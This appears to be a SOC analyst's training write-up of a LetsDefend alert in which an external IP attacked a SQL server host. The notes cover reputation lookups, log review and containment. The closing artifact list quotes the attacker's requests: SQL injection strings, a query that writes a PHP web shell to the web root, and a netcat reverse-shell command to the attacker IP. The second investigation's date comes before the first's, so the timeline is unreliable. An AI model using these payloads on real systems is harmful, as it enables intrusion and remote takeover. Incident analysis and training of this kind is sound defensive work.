Additional Info: The alert was done twice because LetsDefend reached out to conduct a walkthrough. You’ll find both investigation notes below.
Date of Investigation: Aug, 23, 2024, 06:30 AM
Alert Title: Multiple 500 Resp Codes
Time to investigate: 30 Minutes
Retrospective Note:
This was before I had the template that included closure codes and the reasoning for choosing each code. On LetsDefend, you do input if it’s a true positive and why, but I was advised by a working professional to also include that in the notes. Aside from that, if I were to revisit this, I would include the queries run on the SIEM, in this instance, the “Log Management,” and list out the artifacts/logs that I found with the timestamps included. As well as the actual command run by the threat actor, found in the Endpoint security modules terminal history.
# First Investigation
Affected systems and users
SRC IP: 101.32.223[.]119
DST IP: 172.16.20.6
Hostname: SQLServer
Steps taken in the investigation
Internal threat intelligence returned no data on the Source IP address. No vendors reported the IP as malicious, as per Virustotal. Community Comments report of a malicious past with this IP. Cisco Talos reports a poor reputation.
Log Management shows artifacts of successful SQL and Command Injections, including one that was a reverse shell. Successful injection can be confirmed by reviewing the Endpoints Terminal History.
Actions taken
The host was contained.
References
https://www.virustotal.com/gui/ip-address/101.32.223.119/community
https://www.talosintelligence.com/reputation_center/lookup?search=101.32.223.119
--------------------------------------------------
# 2nd Investigation (Redone for a video walkthrough)
Apr, 18, 2021, 01:00 PM
Affected systems and users
EndPoint IP: 172.16.20.6
Suspected Malicious IP: 101.32.223.119
Hostname: SQLServer
Steps taken in the investigation
IP is being reported as non-malicious by vendors as per Virustotal, but has a history of abuse in AbuseIPDB and is brought up in the community tab in Virustotal for malicious activity. Internal Threat Intelligence returned no data on the IP. Can see outbound connections from the endpoint IP to the suspected malicious IP. Logs from the SIEM indicate that the malicious IP was able to create a file and execute commands. Code 200 was returned for the command execution requests. The endpoint security terminal history tab confirms that the commands executed by the threat actor were successfully run. Process history shows that Netcat was run to create a reverse shell to the malicious IP.
Actions taken: Endpoint Contained.
References
https://www.virustotal.com/gui/ip-address/101.32.223.119/detection
https://www.abuseipdb.com/check/101.32.223.119
https://www.talosintelligence.com/reputation_center/lookup?search=101.32.223.119
----------- (Artifacts below were separate from notes but input into case management)
Extracted Artifacts:
Type Value
IP Address: 101.32.223[.]119
Requested URL 1: hxxps[://]172[.]16.20.6/userNumber=' OR '' = '
Requested URL 2: hxxps[://]172[.]16[.]20[.]6/userNumber=' union select 1, '<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/cmd[.]php' #
Requested URL 3: hxxps[://]172[.]16.20.6/userNumber=-1 UNION SELECT 1 INTO @,@
Requested URL 4: hxxps[://]172[.]16.20.6/cmd[.]php?cmd=whoami
Requested URL 5: hxxps[://]172[.]16.20.6/userNumber=1 AND (SELECT * FROM Users) = 1
Requested URL 6: hxxps[://]172[.]16.20.6/cmd[.]php?cmd=id
Requested URL 7: hxxps[://]172[.]16.20.6/userNumber=AND true
Requested URL 8: hxxps[://]172[.]16.20.6/cmd[.]php?cmd=nc 101[.]32.223.119 1234 -e /bin/sh